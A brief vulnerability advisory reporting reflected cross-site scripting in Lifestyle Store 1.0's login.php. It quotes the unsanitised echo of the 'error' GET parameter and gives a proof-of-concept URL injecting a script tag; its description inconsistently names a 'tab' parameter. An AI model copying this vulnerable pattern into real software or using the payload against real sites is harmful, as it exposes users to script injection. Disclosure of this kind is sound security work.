Lifestyle Store version 1.0 suffers from a cross site scripting vulnerability.
# Exploit Title: Lifestyle Store (Online Shop Store) 1.0 - Reflected Cross-Site Scripting (XSS)
# Date: 2021-09-30
# Author: Abdulrahman https://twitter.com/infosec_90
# Software Link: https://download-media.code-projects.org/2021/07/Online_Shop_Store_In_PHP_With_Source_Code.zip
# Version: 1.0.0
# Tested on: Kali Linux1. Description:
The tab parameter in the login.php is vulnerable to XSS.
2. login.php in line 43 code:
if(isset($_GET["error"])){
echo $_GET['error'];
}
3. Proof of Concept:
/online-shop/login.php?error=<script>print()</script>
Related posts:
Cybersecurity Pros Put Mastodon Flaws Under the Microscope
New TunnelVision Attack Allows Hijacking of VPN Traffic via DHCP Manipulation
MITRE Unveils Top 25 Most Dangerous Software Weaknesses of 2023: Are You at Risk?
Patch Where it Hurts: Effective Vulnerability Management in 2023
Apple fixes first zero-day bug exploited in attacks this year